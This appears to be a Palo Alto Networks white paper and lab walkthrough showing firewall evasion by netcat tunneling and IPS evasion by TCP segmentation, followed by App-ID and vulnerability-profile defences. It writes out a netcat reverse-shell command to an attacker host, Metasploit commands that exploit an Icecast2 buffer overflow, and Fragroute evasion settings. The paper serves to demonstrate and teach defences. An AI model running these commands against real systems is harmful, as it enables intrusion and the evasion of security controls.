evasion techniques pan resilience

Evasion techniques and Palo Alto Networks solutions resilience

Evasion techniques and PAN solutions resil ience

Page 2 of 20

INDEX

INTRODUCTION ...................................................................................................3 GOAL ............................................................................................................................. 3 SCOPE............................................................................................................................ 3 SUMMARY....................................................................................................................... 4 NETWORK ARCHITECTURE FOR THE LAB .......................................................................... 5 TOOLS............................................................................................................................ 6

EVADING THE FIREWALL: TUNNELING ...........................................................7 EXPLANATION................................................................................................................. 7 LAUNCHING THE ATTACK................................................................................................. 7 PROTECTING AGAINST THE ATTACK ............................................................................... 10 CONCLUSION ................................................................................................................ 11

EVASION TECHNIQUES AGAINST AN IPS: SEGMENTATION/FRAGMENTATION ...............................................................11

EXPLANATION............................................................................................................... 11 LAUNCHING THE ATTACK............................................................................................... 14 PROTECTING AGAINST THE ATTACK ............................................................................... 19 CONCLUSION ................................................................................................................ 20


Page 3 of 20

Introduction

Goal The main goal for this paper is to show some common evasion techniques that are

frequently used, when trying to evade the protection mechanism that firewalls or IPSs

solutions provide. We will show a couple of examples, each one covering an evasion

technique for firewalls and IPSs. We will also demonstrate how the solutions from Palo

Alto Networks can be easily used to prevent these evasion attempts. Its important to

note that there are many other evasion techniques that can be used and that are not

covered on this paper.

The configuration of the labs and the attacks themselves is not complicated, and can be

used when running demos or events with partners or end users, to reinforce the leader

position that Palo Alto Networks solutions have in the security market.

The content of the paper is mostly technical, and therefore the intended audience are

system engineers. We understand that the reader has already a basic knowledge on

how to configure a Palo Alto Networks firewall; therefore all the steps to set up a basic

configuration are not covered here.

The documentation included in this paper is not intended, by any means, to substitute

any official document from Palo Alto Networks. The official documentation can be found

in the public website and also in the corporate Intranet for the employees.

Scope The documentation included in this paper will cover the following main aspects:

Definition of the problem

Example on how to evade a L4 firewall using tunneling techniques

Resilience from Palo Alto Networks solutions to tunneling: App-ID

Example on how to evade an IPS using fragmentation/segmentation

Resilience from Palo Alto Networks solutions to fragmentation/ segmentation: IPS capabilities


Page 4 of 20

Summary Nowadays most of the firewalls running over customers networks are based upon a

technique called Stateful Inspection, which was deployed more than 15 years ago. The

main goal of this underlying technology was to handle dynamic applications, which could

use random TCP/UDP ports during their natural operation. The Stateful Inspection

technique is able to understand the underlying protocols for those applications, and can

dynamically open only the required ports for each connection, versus opening a big set

of ports. It operates therefore at L4 in the TCP stack. When it was released it supposed

a significant increase over security and it also simplified the tasks related to the

management of security devices.

The main drawback that this approximation has today, is that it supposes that each

TCP/UDP port can be mapped with a correspondent application, which is basically false.

For instance, for a Stateful Inspection engine all the traffic going through TCP port 80 will

be considered to be web browsing and all the traffic going over TCP port 443 secure

web browsing. During the last 15 years the developers were aware about this limitation,

and created tons of applications that used these well known ports to tunnel other

applications, many times with completely different purposes than the theoretical original

ones (HTTP and HTTPs). In many cases these applications can be really harmful and

can encapsulate dangerous attacks.

In our example we will encapsulate a remote shell over a tunnel (using Netcat) to show

how to evade a Stateful Inspection firewall easily. After that we will configure a Palo Alto

Networks firewall to work at L7, using App-ID. This technology is the core of Palo Alto

Networks solutions, and it works at L7. It can recognize the real applications and

differentiate them although they use the same transport (i.e. TCP port 80). If the

administrator has allowed only the traffic associated to the web navigation, the firewall

will allow only this kind of traffic and it will drop the rest. This approach makes big

improvements over Stateful Inspection solutions, in terms of visibility and security and it

represents a true positive approach to security, since the firewall is able to understand

the application and also its behavior. We will demonstrate that thanks to the positive

approach from App-ID, and without using any kind of IPS prevention mechanism, the

firewall will detect that the underlying application is not really web browsing and it will

deny the connection.


Page 5 of 20

For the IPS example, we will show a real attack based upon a buffer overflow, which is

able to get a remote shell over the victims host. We will also configure some evasion

techniques based upon fragmentation/segmentation of the traffic, which will make the

attack still usable for the attacker, thanks to the capabilities included in the TCP stack of

each operating system. Finally we will configure the integrated IPS protections in Palo

Alto Networks firewalls to show that the IPS detects the attack, even under all the

evasion conditions.

Network architecture for the lab The following picture, Picture 1, shows the logical network diagram that we will use in

our lab. For sake of simplicity we will use a deployment based upon L3 with only 2

networks, LAN and Internet. The victim will be in LANs network and the attacker over the

Internet:

Picture 1.- Lab logical diagram


Page 6 of 20

Tools Following we list the main tools that we will use during the lab to perform the attacks. All

of them are freeware or licensed upon the GNU license and can be downloaded through

the Internet:

Netcat

Metasploit Framework

Fragroute

Icecast2 version 2.0.0 for Windows

Wireshark


Page 7 of 20

Evading the firewall: tunneling

Explanation The attacker is seated externally to the victims network (i.e. Internet) and pretends to

get a remote shell on the victims host. It supposes that the victims corporate firewall is

operating at L4 (is therefore based upon the Stateful Inspection protocol). Somehow it

gets a trojan installed on the victims computer. We will not cover on this paper how the

trojan gets to the victim, since its not the purpose of this document. It can be done by

different means (sending it by email, using social engineering, getting download it from a

malware site, etc.). Once that the trojan is installed on the victim, it will open a TCP

tunnel over port 80 to a server on the attackers network. Through this tunnel it will also

link a shell that will give full control to the attacker. Since the firewall operates at L4 it will

allow the tunnel to go from the internal LAN to the Internet through port 80. The reason

is that it believes that this session is web browsing, instead of another tunneled

application.

Launching the attack In order to make the attack we need first to configure the Palo Alto Networks firewall to

operate at L4 instead of L7. We pretend to simulate somehow that we are working like a

Stateful Inspection firewall. In order to do it so we configure a policy like the one showed

in the following picture, Picture 2:

Picture 2.- Basic policy to simulate a L4 firewall

As you can see we have only one rule that allows all the traffic from the internal LAN to

the Internet that goes through TCP port 80. Note that the policy has a service configured

under the Service column, that includes service-http. This service is already defined

by default in all Palo Alto Networks firewalls, and defines TCP port 80. Note that the

Application column is not configured (it includes any).

Once that the policy is installed and committed, we launch our tunneling tool on the

attacker and on the victim (simulating the trojan). For this purpose we will use netcat.

Netcat is a very popular tunneling application, which has distributions for different


Page 8 of 20

operating systems, including Windows, Linux and MacOS. You can get more information

on the tool as well as download it from the following link: http://netcat.sourceforge.net

As explained before the attacker will simulate an http server where the victim will

connect; therefore on the attacker we configure the tool to listen on port 80, with the

following command (once that you type the command you wont see anything by the

moment; just that the tunnel is listening for incoming connections):

netcat l p 80

Now we need to launch the trojan in the victims workstation. We will use also netcat,

with the following command:

netcat -e cmd.exe

In our example in this lab:

netcat e cmd.exe 192.168.57.100 80

The command -e in netcat permits to link a command into the tunnel. Since we want to

get a shell and the operating system in our labs victim is Windows based, we call the

Windows shell cmd.exe.

Once that you launch the attack, if you check the attackers console you should see

something similar to the following picture, Picture 3. On this example we have executed

a dir command:


Page 9 of 20

Picture 3.- Example of the remote shell that the attacker gets via the tunnel

As you can see the attack has gone undetected through the firewall and now the

attacker can start executing commands on the remote victims workstation. You can try

several other commands if you wish.

Its important to note that although we are trying to simulate a L4 firewall, the Palo Alto

Networks firewall really works at L7. You can check this behavior by taking a look to the

logs. If you try to navigate to a real site, the logs will recognize that you are doing web-

browsing. On the other side, for the tunneled connection the application column shows

unknown-tcp. Next picture, Picture 4, shows an example (note the difference between

the destination 192.168.57.100 tunnel identified as unknown tcp- and a real session

web browsing):

Picture 4.- Example on the logs received when the attack works


Page 10 of 20

Protecting against the attack Once that we have shown that the attack succeeds, we proceed to configure the Palo

Alto Networks firewall to work at L7. In order to do it so, we just need to configure the

application column under the same rule to include web-browsing. You can leave if

you wish the service column configured with service-http or you could remove it to

any, or change it to application default. The following picture, Picture 5, shows an

example on this configuration:

Picture 5.- Configuring the firewall to work at L7

Now you should try to execute the same commands that you executed before, when the

attack was successful. As you will see at the beginning the attack seems to work

because the connection between victim and attacker takes place, but if you type any

command, or just press Enter a couple of times, the connection will be immediately

dropped. The reason behind this behavior is that when the TCP 3-way-handshake takes

place, the firewall has no information on the application because those packets dont

carry any payload with application data. Therefore it needs to permit the connection

initially. Once that the data appears the system detects that the application is not really

web-browsing and drops the connection. This point is important to remark, because our

technology makes continuous analysis to the packet flows, in order to inspect them at L7

and ensure that the application running is the one that the security administrator has

configured on the policy.

You can try also to navigate to a real site; you will see that those sessions work as

expected. The following picture, Picture 6, shows the logs in our lab. The first log is the

tunneled session unknown tcp, dropped- and the second one a real web-browsing

session, permitted:

Picture 6.- Example of the logs received when the attack is dropped


Page 11 of 20

Conclusion As demonstrated before, a simple L4 device is not able to prevent application evasion

techniques based upon tunneling. Therefore the firewalls based only upon Stateful

Inspection technology can not offer protection mechanisms against these attempts.

Many vendors that rely on Stateful Inspection technology have tried to complement their

solutions adding some L7 capabilities on independent modules. The result is that the

combined solution usually offers poor results in terms of performance and visibility,

because the foundation of the solution is still based on a L4 approach.

On the other hand, the positive security approach that App-ID offers within Palo Alto

Network solutions, is capable of detect and prevent this kind of attacks, even before they

need to be inspected by the integrated IPS module, from the base. This results in a

better response time and throughput, and in a superior security level.

Regarding management and configuration, as we have shown on this example, the set

up is really simple and powerful because the Next Generation Firewalls from Palo Alto

Networks solutions are based from the foundation on a L7 strategy versus a L4

approach.

Evasion techniques against an IPS: segmentation/fragmentation

Explanation On this example we are going to focus and work with the IPS solution integrated within

Palo Alto Networks Next Generation Firewalls. We will exploit a vulnerability that exists

on Icecast2. According to its developers: Icecast is a streaming media server which

currently supports Ogg Vorbis and MP3 audio streams. It can be used to create an

Internet radio station or a privately running jukebox and many things in between. It is

very versatile in that new formats can be added relatively easily and supports open

standards for communication and interaction.

Version 2.0.0 of Icecast2 for Windows contains a critical buffer overflow vulnerability,

which allows a remote attacker to successfully exploit it and get a remote shell on the

attacked system.

The purpose of this paper is not giving a deep explanation on what are the buffer

overflow attacks and how they can be exploited. Nevertheless, and to provide a basic


Page 12 of 20

idea on the attack that we are going to run, lets say that buffer overflows exploit a

vulnerability that exists when a program is not able to parse properly the parameters that

receives, allowing the attacker to go beyond the boundaries for these parameters.

All the parameters that a program handles are stored in a special memory structure

called System Stack or Stack (not related at all with the TCP Stack). The Stack also

keeps tracking of the flow that a program follows during all the calls to functions or

procedures in the programs runtime. When a program makes a call to a procedure or a

function, the Stack stores the return address, which allows the program to continue

running at the same point, once that the function/procedure finishes.

When a buffer overflow condition exists, the attacker sends some special parameters

that are able to overwrite the return address of the function/procedure. As we said before

this is possible only if the parsing of the parameters is not done properly by the program.

When this happens the attacker modifies the original flow of the program (because

overwrites the return address) and can then execute another kind of program. The

program that the attacker usually tries to inject is a shell, which will give him/her control

over the attacked system. The most interesting variables for trying to inject the code are

usually the array structures, because usually they are the bigger ones. The following

picture, Picture 7, shows a simplified example of the structure that the attacker tries to

inject over a buffer overflow:

Picture 7.- Example structure injected on a buffer overflow attack

As shown in Picture 7, the attacker sends a specially constructed parameter, which

consists on the code of the shell and a return address (RET) that overwrites the original

one in the program, to point to the beginning of the injected shell. If succeeds, the


Page 13 of 20

original return address is overwritten and the program flow is changed, to jump into the

injected shell that will then be executed.

This explanation is extremely simplified to introduce the fundamentals of the attack that

we are going to launch on this chapter over Icecast2. There are many other techniques

to execute buffer overflows and tons of articles about how they work. Probably a good

starting point for those readers interested on this area, would be the famous article from

Aleph1, called Smashing the Stack for Fun and Profit, published in Phrack magazine

number 49 that can be found over the following link:

http://www.phrack.org/issues.html?issue=49&id=14#article

On this example we will suppose again that the attacker is seated externally to the

network, over the Internet. We will suppose also that this network is providing an

external streaming service, through Icecast2. The service will be placed again over the

same station used as victim before (LAN), although probably in a real environment this

would be a DMZ. The firewall will allow the traffic from the Internet to the LAN for this

service and the attacker will exploit the vulnerability using Metasploit Framework.

Metasploit is a project that provides an open platform to include exploits. Many different

developers contribute to update the content and it includes an exploit for Icecast2. You

can find more information on their webpage: http://www.metasploit.com

Once that we inject the attack and we check that it works, we will inject it again, but

using some evasion techniques mainly focused for trying to bypass the IPS.

The evasion techniques that we will use are based upon using segmentation/

fragmentation of the packets. These evasion techniques take advantage of the

capabilities that all TCP stacks have to reassemble fragmented traffic, and also to

reorder it. The basic idea behind these techniques is the following:

1. Imagine that we have an IPS signature searching for the string malware.

2. Instead of sending the whole malicious string in one packet, the attacker.

fragments it over several ones. For instance: P1: m; P2: a; P3:l;P7:e.

3. If the IPS is not able to reassemble fragmented traffic, it wont detect the attack

because its searching for malware but never finds it.

4. The attacker can also disorder the packets, again trying to avoid the IPS. For

instance: P1:a; P2:l; P3:e;; P7:m.


Page 14 of 20

5. If the IPS can reassemble the fragmented traffic but its not able to reorder it, it

will fail again while trying to detect the attack.

6. Finally the TCP Stack in the victims operating system reassembles and reorders

the packets and the attack succeed.

Launching the attack The first step that we need to do is install Icecast2 in the victims station and Metasploit

Framework on the attackers one. We wont cover the required steps to make those

installations on this document, since they are pretty simple and they are well

documented on the Internet.

Once that the tools are already installed, we configure a basic policy in the firewall to

allow the incoming traffic from the Internet to the LAN. Since we are focusing on this

chapter on the IPS, we can just configure an any to any policy. Following picture,

Picture 8, shows this basic policy. Note that we havent enabled yet any IPS features,

since first we want to test that all the attacks work without enabling our protections:

Picture 8.- Basic policy for the BO attack

Now we launch the Icecast server on the victims host. The following picture, Picture 9,

shows an example on how the console will look once that you press over the Start

Server button. As a reminder, dont forget to open the personal firewall on the victims

station, to be sure that the incoming connections against Icecast2 are accepted (TCP

Port 8000):


Page 15 of 20

Picture 9.- Icecast2 console on victims station

Now that the server is running we go over the attacker station and we launch the

Metasploit Framework. It includes a GUI, but we will show how to launch the attack from

the CLI. We need to execute the following commands within Metasploit:

msf> use icecast_header msf> set RHOST

msf> set PAYLOAD win32_bind (it has many other shells to play around, even a graphical VNC connection that you can try if you wish).

msf> exploit

Once that you execute the exploit command, the system will inject the Buffer Overflow

over the victim and you should get a shell on the remote system (Windows in our lab).

Following picture, Picture 10, shows an example of the output that you should get and

also an example executing again a dir command over Windows:


Page 16 of 20

Picture 10.- Example output for a successful exploitation of Icecast2 BO

Once that we have checked that the attack succeeds, we will start to use the evasion

techniques described above. For this purpose we will use Fragroute (not the same than

FragRouter). Fragroute is a very simple but powerful tool, that intercepts, modifies, and

rewrites egress traffic destined for a specified host. You can find more information on

this tool, as well as download it, from the following link:

http://monkey.org/~dugsong/fragroute/


Page 17 of 20

The configuration for Fragroute once that you install it is pretty simple. You have only to

focus on the file /etc/fragroute.conf. Following you have an example on this file:

tcp_seg 32 #tcp_chaff rexmit #order random #ip_frag 8 #ip_tos 1 print

The lines that start with # are comments and therefore they are not executed. So, and

in the example file before, we are executing just tcp_seg 32 and print. These two

commands mean that we are going to segment all the traffic at L4 (TCP Segmentation)

in packets of 32 bytes, and that we are also going to print them. This is the first test that

we are going to run. In order to start with the segmentation you just need to type the

following command on the attacker, before you run again Metasploit (we show also the

first output that you will get, confirming the two expected commands):

[root@jesusd framework-2.6]# fragroute fragroute: tcp_seg -> print

Now we run Metasploit exactly the same way that we did before and we check that

effectively the attack succeeds. Following we show an example of the output that

Fragroute provides while segmenting the traffic:

192.168.57.90.32777 > 192.168.1.99.8000: P 71941053:71941085(32) ack 3945129395 win 5840 (DF) 192.168.57.90.32777 > 192.168.1.99.8000: P 71941085:71941117(32) ack 3945129395 win 5840 (DF) 192.168.57.90.32777 > 192.168.1.99.8000: P 71941117:71941149(32) ack 3945129395 win 5840 (DF) 192.168.57.90.32777 > 192.168.1.99.8000: P 71941149:71941181(32) ack 3945129395 win 5840 (DF)

We can also activate a sniffer on the victims workstation to check that the packets are

segmented at the TCP layer (L4) in 32 bytes. The following picture, Picture 11 shows an


Page 18 of 20

example of a capture taken under these conditions via WireShark (note that as expected

the Data Length is 32 bytes):

Picture 11.- Example output from Wireshark with packets segmented in 32 bytes

Finally we will try another injection attempt, making the same segmentation but sending

the packets out of order. Following is the required configuration in the file

/etc/fragroute.conf (note that we have enabled the option order random):

tcp_seg 32 #tcp_chaff rexmit order random #ip_frag 8 #ip_tos 1 print

If we inject now the attack with Metasploit we will check that it will work once again,

since the TCP stack of the Windows victim knows how to reassemble and reorder the

packets.

If you wish you can play with other options from Fragroute, like making fragmentation at

L3 (IP Fragmentation ip_frag option) or sending fake packets together with the good

ones (tcp_chaff rexmit).


Page 19 of 20

Protecting against the attack Now we will configure the firewall to protect against these attempts, using the IPS

(Vulnerabilities) protection within Palo Alto Networks next generation firewalls. We will

first create a Vulnerability profile with all the Critical and High attacks configured to

block, instead of using the Default action. This step is important, because the signature

against this buffer overflow is configured by default to alert; if we dont change we will

see the logs but the attack will still succeed. The following picture, Picture 12, shows the

Vulnerability profile that we will use:

Picture 12.- Vulnerability profile used

The final step is to enable this Vulnerability profile on the rule that we created before to

allow the incoming traffic from the Internet to the LAN. Picture 13 shows this

configuration:

Picture 13.- Security policy rule including the vulnerability profile

Its important to note that we dont need to configure anything special in order to protect

against the evasion techniques mentioned, because Palo Alto Networks firewalls include

by default protection mechanisms enabled to avoid all this kind of fragmentation/

segmentation attempts.

Now we launch the same attacks that we did before and we check that effectively the

firewall is now stopping all the attacks, both without using Fragroute and using it. We can

check also that we dont get the remote shell from Metasploit.


Page 20 of 20

Following picture, Picture 14, shows an example of the Threat Logs that you get on the

firewall while injecting the attack through the different attempts already reviewed:

Picture 14.- Threat Logs for the detection of Icecast2 BO injection

Conclusion As it happened with the tunneling example reviewed before, we have demonstrated that

the IPS solution within Palo Alto Networks next generation firewalls is able to protect

against evasion techniques like the segmentation/fragmentation of the packets. The

configuration required is also very simple and straight forward, minimizing the

operational costs for the security managers.

Furthermore the IPS solution takes advantage of the knowledge that App-ID provides,

and therefore is able to apply signatures, and other protection mechanisms, depending

on the context of each application. This point is critical to guarantee a really low rate of

false positives and false negatives, and also to offer high throughput at low latency.

evasion techniques pan resilience

Documents